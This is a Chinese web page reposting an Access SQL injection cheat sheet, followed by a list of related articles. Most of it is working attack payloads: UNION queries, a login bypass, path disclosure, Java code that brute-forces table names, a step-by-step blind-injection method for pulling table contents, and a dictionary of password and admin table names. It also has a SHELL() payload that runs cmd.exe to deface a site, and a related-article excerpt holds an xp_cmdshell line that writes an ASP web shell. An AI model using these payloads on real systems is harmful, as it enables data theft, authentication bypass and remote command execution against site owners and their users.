整理比较全的Access SQL注入参考




















































































































Access SQL注入参考

版本 0.2.1
(最近更新 10/10/2007)
原作者不详

描述 SQL查询及注释
注释符 Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替:
  • ' UNION SELECT 1,1,1 FROM validTableName%00
语法错误信息 "[Microsoft][Driver ODBC Microsoft Access]"
多句执行 不支持.
联合查询 Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.
附属查询 Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) :
  • ' AND (SELECT TOP 1 'someData' FROM validTableName)%00
LIMIT支持 LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:
  • ' UNION SELECT TOP 3 AttrName FROM validTableName%00 : 这条语句返回(前)3 行.
让查询返回0行 在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:
  • ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName%00
字符串连接 不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
  • ' UNION SELECT 'web' %2b 'app' FROM validTableName%00 : 返回"webapp"

  • ' UNION SELECT 'web' %26 'app' FROM validTableName%00 : 返回"webapp"
子字符串 MID()函数:
  • ' UNION SELECT MID('abcd',1,1) FROM validTableName%00 : 返回 "a"
  • ' UNION SELECT MID('abcd',2,1) FROM validTableName%00 : 返回 "b"
字符串长度 LEN()函数:
  • ' UNION SELECT LEN('1234') FROM validTableName%00 : 返回 4
暴WEB路径 可以通过对一个不存在的库进行SELECT操作.Access将会回应一条包含有完整路径的错误信息.:
  • ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00
取字符的ASCII值 ASC()函数:
  • ' UNION SELECT ASC('A') FROM ValidTable%00 :返回65 ('A'的ASCII值)
ASCII值转换为字符 CHR()函数:
  • ' UNION SELECT CHR(65) FROM validTableName%00 : 返回 'A'
IF语句 可以使用IIF()函数. 语法 : IIF(condition, true, false) :
  • ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName%00 : 返回 'a'
时间接口 不存在类似BENCHMARK()或SLEEP()的函数,但是可以使用大量(高负载)的查询来达到这个效果.点击这里查看参考.
验证文件是否存在

在注入的时候使用:

  • ' UNION SELECT name FROM msysobjects IN '\boot.ini'%00 : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized.
表名猜解 这里有一个简单的猜解access表名的java代码.我写他是为了更好的解释猜解表名的原理:





static private String columnErrorMessage = "...";
static private String accessError = "...";

[...]

public String bruteTableName(Request r) { // 0

String resp = new String();
   String[] table = { "tab_name1", "tab_name2", ..., "tab_nameN" }; // 1

for(int i = 0; i < table.length; i++) {

resp = sendInjection(r, " ' UNION SELECT 1 FROM " + table[i] + "%00"); // 2

if(resp.contains(columnErrorMessage) || !resp.contains(accessError)) // 3
           return table[i];
   }

return null;
}

bruteTableName()的参数是一个名为"Request"的对象(见注释0).这个例子靠 sendInjection() (见注释2)尝试检测查询:

  • ' UNION SELECT 1 FROM table[i]%00

table[i]是表名列表中的一个元素(见注释1). 你能在这篇文章的末尾找到一个小的表名列表.在注释2处, sendInjection()函数返回提交注入代码后的回应html代码.如果resp包含 columnErrorMessage 字符串(见注释3),恭喜你,你找到了一个存在的表. columnErrorMessage 是在UNION查询中使用了和主查询不同的卷数而返回的错误信息.如果表不存在,返回的信息将是表不存在,而不是卷的数目错误.

列名猜解 需要一个已知的表名和主查询的列的数目:
  • ' UNION SELECT fieldName[j],1,1,1 FROM validTableName%00

你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.

绕过登陆 用户名: ' OR 1=1%00 (or " OR 1=1%00)

密码: (留空)

列名枚举 按语 : 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用.

通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如:

  • Error (...) syntax (...) query (...) : " Id=0' "
从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名:
  • ' GROUP BY Id%00

现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名:

  • ' GROUP BY Id, SecondAttrName, ...%00

直到获取到所有的表名.

与操作系统的交互

这些函数默认不可用

安全提示 可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等等...):
  • \\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode

它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况.

获取当前目录 需要一个已知的表名和主查询的列的数目:
  • ' UNION SELECT CurDir(),1,1 FROM validTableName%00
执行系统命令 SHELL()函数可以用来执行系统命令:
  • ' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')%00

Access的系统表

这些系统表默认不可访问

MSysAccessXML 表中包含的列:
  • Id
  • LValue
  • ObjectGuid
  • ObjectName
  • Property
  • Value

MSysACEs 表中包含的列:
  • ACM
  • FInheritable
  • ObjectId
  • SID
MSysObjects 这里可以获得表名:
  • Connect
  • Database
  • DataCreate
  • DataUpdate
  • Flags
  • ForeignName
  • Id
  • Lv
  • LxExtra
  • LvModule
  • LvProp
  • Name
  • Owner
  • ParentId
  • RmtInfoLong
  • RmtInfoShort
  • Type

这条查询可以用来获得数据库中的表名:

  • ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00
Access盲注(这些步骤用来猜解表的内容)
第一步:猜解表名 你可以使用下面提供的字典来猜解表名.注入查询语句:
  • ' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])%00

在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "AND 1"对查询没有任何影响).

第二步: 猜解列名

在指导表名的情况下,使用如下查询:
  • ' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)%00

用和第一步同样的方法判断列是否存在.

第三步:猜解内容的行数 在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"TAB_LEN"变量:
  • ' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)%00

这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值.

第四步:猜解内容的长度

你能通过以下语句获取"ATTRIB"列的第一行的内容长度:

  • ' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)%00

可以通过以下语句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的内容的长度 (这里N的值在2和TAB_LEN(在前面已经获得)之间) :

  • ' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)%00

"KKK" 为大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"ATTRIB"必须是主键.这里有一个例子:


















A1 A2 A3
1111 2222 3333
0000 4444 oooo
aaaa bbbb cccc

可以这样获取第一行的所有内容的长度:

  • ' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)%00

  • ' AND IIF((SELECT TOP 1 LEN(A2) FROM Table) = KKK, 1, 0)%00

  • ' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)%00

然后就可以这样获取第二行的内容的长度(假设A1为表的主键) :

  • ' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
    A1 <>'1111') = KKK, 1, 0)%00

  • ' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)%00

  • ' AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)%00

第三行也一样:

  • ' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
    A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)%00

  • ' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)%00

  • ' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)%00

很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后).

第五步:猜解内容 假设攻击者已经知道了表和列名,他将使用这样的查询:
  • ' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
    ... etc ... ) = CHAR(YYY), 1, 0)%00

"N"是要猜解的行, "XXX""ATTRIBxxx"的第X个字节, "ATT_key"是表的的主键"YYY"是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容.

表名/列名(字典)
表名/列名(字典) 这里是一个小的表/列名样本字典,在猜解中也许用的到:
  • account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
  • customers, customer, config, conf, cfg;

  • hash;

  • login, logout, loginout, log;

  • member, memberid;

  • password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;

  • store, store1, store2, store3, store4, setting;

  • username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;

(0)

相关推荐

  • php中防止SQL注入的最佳解决方法

    如果用户输入的是直接插入到一个SQL语句中的查询,应用程序会很容易受到SQL注入,例如下面的例子: 复制代码 代码如下: $unsafe_variable = $_POST['user_input'];mysql_query("INSERT INTO table (column) VALUES ('" . $unsafe_variable . "')"); 这是因为用户可以输入类似VALUE"); DROP TABLE表; - ,使查询变成: 复制代码 代

  • php防止SQL注入详解及防范

    一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出).这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误.对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的源程序和数据库方案),考虑以下简单的登录表单: 复制代码 代码如下: <form action="/login.php" method="POST"><p>Userna

  • PHP+MySQL 手工注入语句大全 推荐

    暴字段长度 Order by num/* 匹配字段 and 1=1 union select 1,2,3,4,5--.n/* 暴字段位置 and 1=2 union select 1,2,3,4,5-..n/* 利用内置函数暴数据库信息 version() database() user() 不用猜解可用字段暴数据库信息(有些网站不适用): and 1=2 union all select version() /* and 1=2 union all select database() /* a

  • 利用SQL注入漏洞登录后台的实现方法

    早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的. 如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的. 前些天,网上传得沸沸扬扬的"拖库"事件给我们敲响了安全警钟. 在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常,用户可以通过以下接口调用数据库的内容:URL地址栏.登陆界面.留言板.搜索框等.这往往给骇客留下了可乘之机.轻则数据遭到泄露,重则服务器被拿下.

  • 利用SQL注入漏洞拖库的方法

    想在本地测试的话,可以在此免积分下载:利用SQL注入漏洞拖库 同上一篇文章一样,我们需要创建数据表,并在表中出入几条数据以备测试之用. 在数据库中建立一张表: 复制代码 代码如下: CREATE TABLE `article` ( `articleid` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', `content` text CHARACTER SET

  • PHP中防止SQL注入实现代码

    一. 注入式攻击的类型 可能存在许多不同类型的攻击动机,但是乍看上去,似乎存在更多的类型.这是非常真实的-如果恶意用户发现了一个能够执行多个查询的办法的话.本文后面,我们会对此作详细讨论. 如 果你的脚本正在执行一个SELECT指令,那么,攻击者可以强迫显示一个表格中的每一行记录-通过把一个例如"1=1"这样的条件注入到WHERE子句中,如下所示(其中,注入部分以粗体显示): SELECT * FROM wines WHERE variety = 'lagrein' OR 1=1;'

  • Win2003服务器防SQL注入神器--D盾_IIS防火墙

    0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略,如下图,主要防御GET/POST/COOKIE,文件允许白名单设置.构造不同的测试环境,IIS+(ASP/ASPX/PHP)+(MSSQL/MYSQL),看到这边的策略,主要的测试思路: a.白名单   b.绕过union select或select from的检测 0X02 IIS+PHP+MY

  • 整理比较全的Access SQL注入参考

    Access SQL注入参考 版本 0.2.1(最近更新 10/10/2007)原作者不详 描述 SQL查询及注释 注释符 Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替: ' UNION SELECT 1,1,1 FROM validTableName%00 语法错误信息 "[Microsoft][Driver ODBC Microsoft

  • SQL注入语义分析库libinjection简介

    目录 SQL注入语义分析库libinjection 什么是libinjection libinjection和正则表达式 modsecurity 如何使用libinjection ModSecurity只用了libinjection防御sql注入吗? WAF研发领域,语义分析相对于正则表达式先进性的研究 参考文献 SQL注入语义分析库libinjection 什么是libinjection libinjection是一款用于防御SQL注入攻击的开源软件库.它是由C语言编写的,可以嵌入到任何Web

  • 最详细的SQL注入相关的命令整理 (转)第1/2页

    1.   用^转义字符来写ASP(一句话木马)文件的方法: ?   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';-- ?   echo ^<%execute^(reques

  • sql注入过程详解_动力节点Java学院整理

    SQL注入攻击的总体思路是: 1.发现SQL注入位置: 2.判断后台数据库类型: 3.确定XP_CMDSHELL可执行情况 4.发现WEB虚拟目录 5. 上传JSP木马: 6.得到管理员权限: 一.SQL注入漏洞的判断 一般来说,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.jsp?id=XX等带有参数的jsp或者动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论.总之只要是带有参数的动态网页且此网页访问

  • Sql注入工具_动力节点Java学院整理

    BSQL Hacker 10个SQL注入工具 BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出注入. BSQL Hacker的适用群体是那些对注入有经验的使用者和那些想进行自动SQL注入的人群.BSQL Hacker可自动对Oracle和MySQL数据库进行攻击,并自动提取数据库的数据和架构. The Mole 10个SQL注入工具 The Mole是一款开源的自动化S

  • Sql注入原理简介_动力节点Java学院整理

    一.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击.如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入. 黑客通过SQL注入攻击可以拿到网站数据库的访问

  • 避免sql注入_动力节点Java学院整理

    1.普通用户与系统管理员用户的权限要有严格的区分. 如果一个普通用户在使用查询语句中嵌入另一个Drop Table语句,那么是否允许执行呢?由于Drop语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限.在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立.删除等权限.那么即使在他们使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行.故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来.如此可以最大限度的减少注入

  • SQL数据库的高级sql注入的一些知识

    [概 要] 这篇文章讨论常用的"sql注入"技术的细节,应用于流行的Ms IIS/ASP/SQL-Server平台.这里探讨有关这种攻击各种可以注入程序访问数据和数据库防范的方法.这篇文章面向两种读者:一是基于数据库web程序开发人员和审核各种web程序的安全专家. [介 绍] 结构化查询语言(SQL)是一种用来和数据库交互的文本语言SQL语言多种多样,大多的方言版本都共同宽松地遵循SQL-92标准(最新的ANSI标准[译者注:目前最新的是SQL-99]).SQL运行的典型的操作是&q

  • SQL注入的2个小Trick及示例总结

    前言 最近发现了两个关于sql注入的小trick,分享一下.下面话不多说了,来一起看看详细的介绍吧 between and 操作符代替比较符 操作符 BETWEEN - AND 会选取介于两个值之间的数据范围.这些值可以是数值.文本或者日期. between and有数据比较功能 exp1 between min and max 如果exp1的结果处于min和max之间,`between and`就返回`1`,反之返回`0`. 示例 mysql> select * from user; +---

  • Sql Server 应用程序的高级Sql注入第1/2页

    这篇文章面向两种读者:一是基于数据库web程序开发人员和审核各种web程序的安全专家.[介 绍] 结构化查询语言(SQL)是一种用来和数据库交互的文本语言SQL语言多种多样,大多的方言版本都共同宽松地遵循SQL-92标准(最新的ANSI标准[译者注:目前最新的是SQL-99]).SQL运行的典型的操作是"查询",它是可以让数据库返回"查询结果记录集"的语句集合.SQL语句可以修改数据库的结构(用数据定义语言"DDL")和操作数据库里的数据(用数据

随机推荐